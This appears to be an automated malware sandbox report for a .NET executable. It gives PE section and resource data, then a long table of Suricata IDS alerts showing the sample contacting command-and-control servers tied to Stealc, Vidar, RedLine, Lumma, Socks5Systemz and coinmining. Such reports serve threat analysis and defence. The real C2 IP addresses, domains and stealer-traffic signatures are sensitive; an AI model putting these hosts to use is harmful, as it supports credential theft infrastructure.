add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2373c4	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x238000	0x22b1c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x237310	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x23541c	0x235600	24c29fcfeb43babaeade714010e327b2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x238000	0x22b1c	0x22c00	597402cd230853b0be89bd9b1064cca3	False	0.4728880957733813	data	5.049618112648024	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x25c000	0xc	0x200	204f22fc318434621d9235ccdbdac82a	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x2381a0	0x9e6f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9945018368302966
RT_ICON	0x242020	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	0.23423636578729445
RT_ICON	0x252858	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	0.2866084081247048
RT_ICON	0x256a90	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.32354771784232367
RT_ICON	0x259048	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.3803939962476548
RT_ICON	0x25a100	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.5469858156028369
RT_GROUP_ICON	0x25a578	0x5a	data	0.7666666666666667
RT_VERSION	0x25a5e4	0x338	data	0.4550970873786408
RT_MANIFEST	0x25a92c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-18T14:30:02.016109+0200	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.7	49774	45.76.89.70	443	TCP
2024-09-18T14:30:07.267854+0200	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.7	49705	103.130.147.211	80	TCP
2024-09-18T14:30:07.682720+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49705	103.130.147.211	80	TCP
2024-09-18T14:30:07.682720+0200	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	1	192.168.2.7	49705	103.130.147.211	80	TCP
2024-09-18T14:30:07.880222+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49706	147.45.44.104	80	TCP
2024-09-18T14:30:08.025002+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49703	176.113.115.33	80	TCP
2024-09-18T14:30:08.062320+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49704	147.45.44.104	80	TCP
2024-09-18T14:30:08.707580+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49704	147.45.44.104	80	TCP
2024-09-18T14:30:10.186934+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49714	185.166.143.50	443	TCP
2024-09-18T14:30:10.319837+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49721	167.114.163.236	443	TCP
2024-09-18T14:30:10.320917+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49720	167.114.163.236	443	TCP
2024-09-18T14:30:11.217339+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49723	167.114.163.236	443	TCP
2024-09-18T14:30:11.544102+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49706	147.45.44.104	80	TCP
2024-09-18T14:30:11.984022+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49706	147.45.44.104	80	TCP
2024-09-18T14:30:32.792223+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:33.110028+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:33.810710+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49735	91.107.146.245	443	TCP
2024-09-18T14:30:34.757678+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.7	49731	TCP
2024-09-18T14:30:34.930437+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:35.155514+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.7	49731	TCP
2024-09-18T14:30:35.864093+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:36.053537+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49737	91.107.146.245	443	TCP
2024-09-18T14:30:36.102429+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:37.536914+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:37.536914+0200	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:37.943442+0200	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	193.233.255.84	4284	192.168.2.7	49738	TCP
2024-09-18T14:30:38.509902+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49739	91.107.146.245	443	TCP
2024-09-18T14:30:40.077566+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49740	91.107.146.245	443	TCP
2024-09-18T14:30:41.254532+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.7	49740	91.107.146.245	443	TCP
2024-09-18T14:30:41.254747+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	91.107.146.245	443	192.168.2.7	49740	TCP
2024-09-18T14:30:42.215950+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49741	91.107.146.245	443	TCP
2024-09-18T14:30:42.312912+0200	2055834	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sentistivowmi .shop)	1	192.168.2.7	63813	1.1.1.1	53	UDP
2024-09-18T14:30:42.608829+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:42.849648+0200	2055835	ET MALWARE Observed Win32/Lumma Stealer Related Domain (sentistivowmi .shop in TLS SNI)	1	192.168.2.7	49742	188.114.96.3	443	TCP
2024-09-18T14:30:42.913682+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	91.107.146.245	443	192.168.2.7	49741	TCP
2024-09-18T14:30:43.027615+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:43.241586+0200	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	193.233.255.84	4284	192.168.2.7	49738	TCP
2024-09-18T14:30:43.451369+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49742	188.114.96.3	443	TCP
2024-09-18T14:30:43.451369+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49742	188.114.96.3	443	TCP
2024-09-18T14:30:44.744594+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:44.885751+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:45.446731+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49745	172.67.218.144	443	TCP
2024-09-18T14:30:45.446731+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49745	172.67.218.144	443	TCP
2024-09-18T14:30:45.514428+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:45.579085+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:45.682524+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49748	91.107.146.245	443	TCP
2024-09-18T14:30:46.007415+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:46.231561+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:46.245876+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:46.423245+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49752	172.67.223.248	443	TCP
2024-09-18T14:30:46.423245+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49752	172.67.223.248	443	TCP
2024-09-18T14:30:46.590278+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49753	91.107.146.245	443	TCP
2024-09-18T14:30:46.642699+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:46.879679+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:48.287965+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49754	104.21.17.244	443	TCP
2024-09-18T14:30:48.287965+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49754	104.21.17.244	443	TCP
2024-09-18T14:30:48.394950+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:49.073142+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:49.302749+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49755	104.21.42.156	443	TCP
2024-09-18T14:30:49.302749+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49755	104.21.42.156	443	TCP
2024-09-18T14:30:49.549487+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:49.554892+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:49.784604+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49756	91.107.146.245	443	TCP
2024-09-18T14:30:50.267516+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49757	172.67.151.53	443	TCP
2024-09-18T14:30:50.267516+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49757	172.67.151.53	443	TCP
2024-09-18T14:30:51.807216+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:52.097617+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49760	91.107.146.245	443	TCP
2024-09-18T14:30:52.394451+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49759	188.114.96.3	443	TCP
2024-09-18T14:30:52.394451+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49759	188.114.96.3	443	TCP
2024-09-18T14:30:52.878925+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:53.237133+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49763	91.107.146.245	443	TCP
2024-09-18T14:30:53.372045+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49764	167.114.163.236	443	TCP
2024-09-18T14:30:53.402949+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49762	104.21.39.11	443	TCP
2024-09-18T14:30:53.402949+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49762	104.21.39.11	443	TCP
2024-09-18T14:30:54.535134+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49766	104.21.48.36	443	TCP
2024-09-18T14:30:54.535134+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49766	104.21.48.36	443	TCP
2024-09-18T14:30:54.535947+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49767	91.107.146.245	443	TCP
2024-09-18T14:30:55.857924+0200	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	192.168.2.7	60614	1.1.1.1	53	UDP
2024-09-18T14:30:56.331404+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49772	91.107.146.245	443	TCP
2024-09-18T14:30:56.375505+0200	2857974	ETPRO MALWARE Observed DNS Query to Lumma Domain	1	192.168.2.7	52668	1.1.1.1	53	UDP
2024-09-18T14:30:56.869844+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49775	172.67.218.144	443	TCP
2024-09-18T14:30:56.869844+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49775	172.67.218.144	443	TCP
2024-09-18T14:30:56.960204+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:57.176675+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:57.400135+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:57.655061+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:57.871733+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:58.195223+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49777	172.67.218.144	443	TCP
2024-09-18T14:30:58.195223+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49777	172.67.218.144	443	TCP
2024-09-18T14:30:58.231645+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:58.317505+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49781	91.107.146.245	443	TCP
2024-09-18T14:30:58.528408+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:58.889263+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:58.894540+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:59.842669+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:59.941564+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49782	172.67.223.248	443	TCP
2024-09-18T14:30:59.941564+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49782	172.67.223.248	443	TCP
2024-09-18T14:31:00.171413+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:31:00.289616+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49783	91.107.146.245	443	TCP
2024-09-18T14:31:00.383138+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:31:00.668185+0200	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:31:01.002419+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49784	104.21.17.244	443	TCP
2024-09-18T14:31:01.002419+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49784	104.21.17.244	443	TCP
2024-09-18T14:31:02.898189+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49786	91.107.146.245	443	TCP
2024-09-18T14:31:03.283899+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49787	104.21.42.156	443	TCP
2024-09-18T14:31:03.283899+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49787	104.21.42.156	443	TCP
2024-09-18T14:31:04.335594+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49789	91.107.146.245	443	TCP
2024-09-18T14:31:04.476558+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49788	172.67.151.53	443	TCP
2024-09-18T14:31:04.476558+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49788	172.67.151.53	443	TCP
2024-09-18T14:31:05.599006+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49790	188.114.96.3	443	TCP
2024-09-18T14:31:05.599006+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49790	188.114.96.3	443	TCP
2024-09-18T14:31:06.610620+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49791	104.21.39.11	443	TCP
2024-09-18T14:31:06.610620+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49791	104.21.39.11	443	TCP
2024-09-18T14:31:07.783827+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49792	104.21.48.36	443	TCP
2024-09-18T14:31:07.783827+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49792	104.21.48.36	443	TCP
2024-09-18T14:31:07.901594+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49793	91.107.146.245	443	TCP
2024-09-18T14:31:09.363694+0200	2857974	ETPRO MALWARE Observed DNS Query to Lumma Domain	1	192.168.2.7	59478	1.1.1.1	53	UDP
2024-09-18T14:31:10.188545+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49795	91.107.146.245	443	TCP
2024-09-18T14:31:12.947217+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49797	91.107.146.245	443	TCP
2024-09-18T14:31:15.933747+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49798	91.107.146.245	443	TCP
2024-09-18T14:31:19.380627+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49799	91.107.146.245	443	TCP
2024-09-18T14:31:21.569910+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49800	91.107.146.245	443	TCP
2024-09-18T14:31:23.957830+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.7	49801	167.114.163.236	443	TCP
2024-09-18T14:31:26.944438+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49802	91.107.146.245	443	TCP
2024-09-18T14:31:30.584769+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49804	185.196.8.214	80	TCP
2024-09-18T14:31:30.859153+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49805	91.107.146.245	443	TCP
2024-09-18T14:31:31.595840+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49807	185.196.8.214	80	TCP
2024-09-18T14:31:31.836357+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49806	172.67.218.144	443	TCP
2024-09-18T14:31:31.836357+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49806	172.67.218.144	443	TCP
2024-09-18T14:31:33.327424+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49808	185.196.8.214	80	TCP
2024-09-18T14:31:33.637050+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49810	91.107.146.245	443	TCP
2024-09-18T14:31:33.744263+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49809	172.67.218.144	443	TCP
2024-09-18T14:31:33.744263+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49809	172.67.218.144	443	TCP
2024-09-18T14:31:34.307856+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49811	185.196.8.214	80	TCP
2024-09-18T14:31:34.833990+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49812	172.67.223.248	443	TCP
2024-09-18T14:31:34.833990+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49812	172.67.223.248	443	TCP
2024-09-18T14:31:35.287510+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49813	185.196.8.214	80	TCP
2024-09-18T14:31:36.964336+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49815	185.196.8.214	80	TCP
2024-09-18T14:31:37.034289+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49814	104.21.17.244	443	TCP
2024-09-18T14:31:37.034289+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49814	104.21.17.244	443	TCP
2024-09-18T14:31:37.925564+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49818	185.196.8.214	80	TCP
2024-09-18T14:31:38.074990+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49817	104.21.42.156	443	TCP
2024-09-18T14:31:38.074990+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49817	104.21.42.156	443	TCP
2024-09-18T14:31:38.501183+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49820	91.107.146.245	443	TCP
2024-09-18T14:31:39.000323+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49821	185.196.8.214	80	TCP
2024-09-18T14:31:39.709872+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49822	172.67.151.53	443	TCP
2024-09-18T14:31:39.709872+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49822	172.67.151.53	443	TCP
2024-09-18T14:31:40.290853+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49823	185.196.8.214	80	TCP
2024-09-18T14:31:40.328448+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49824	91.107.146.245	443	TCP
2024-09-18T14:31:40.804265+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49825	188.114.96.3	443	TCP
2024-09-18T14:31:40.804265+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49825	188.114.96.3	443	TCP
2024-09-18T14:31:41.242040+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49826	185.196.8.214	80	TCP
2024-09-18T14:31:41.819004+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49829	91.107.146.245	443	TCP
2024-09-18T14:31:41.849105+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49828	104.21.39.11	443	TCP
2024-09-18T14:31:41.849105+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49828	104.21.39.11	443	TCP
2024-09-18T14:31:42.144577+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49830	185.196.8.214	80	TCP
2024-09-18T14:31:42.968232+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49831	104.21.48.36	443	TCP
2024-09-18T14:31:42.968232+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49831	104.21.48.36	443	TCP
2024-09-18T14:31:43.135701+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49832	185.196.8.214	80	TCP
2024-09-18T14:31:43.404446+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49833	91.107.146.245	443	TCP
2024-09-18T14:31:44.107697+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	91.107.146.245	443	192.168.2.7	49833	TCP
2024-09-18T14:31:44.147196+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49835	185.196.8.214	80	TCP
2024-09-18T14:31:44.561667+0200	2857974	ETPRO MALWARE Observed DNS Query to Lumma Domain	1	192.168.2.7	57885	1.1.1.1	53	UDP
2024-09-18T14:31:44.957040+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.7	49836	91.107.146.245	443	TCP
2024-09-18T14:31:45.069477+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49837	185.196.8.214	80	TCP
2024-09-18T14:31:45.637928+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	91.107.146.245	443	192.168.2.7	49836	TCP
2024-09-18T14:31:45.996237+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49838	185.196.8.214	80	TCP
2024-09-18T14:31:47.544891+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49839	185.196.8.214	80	TCP
2024-09-18T14:31:48.487989+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49840	185.196.8.214	80	TCP
2024-09-18T14:31:49.411026+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49842	185.196.8.214	80	TCP
2024-09-18T14:31:50.470781+0200	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.7	49843	185.196.8.214	80	TCP
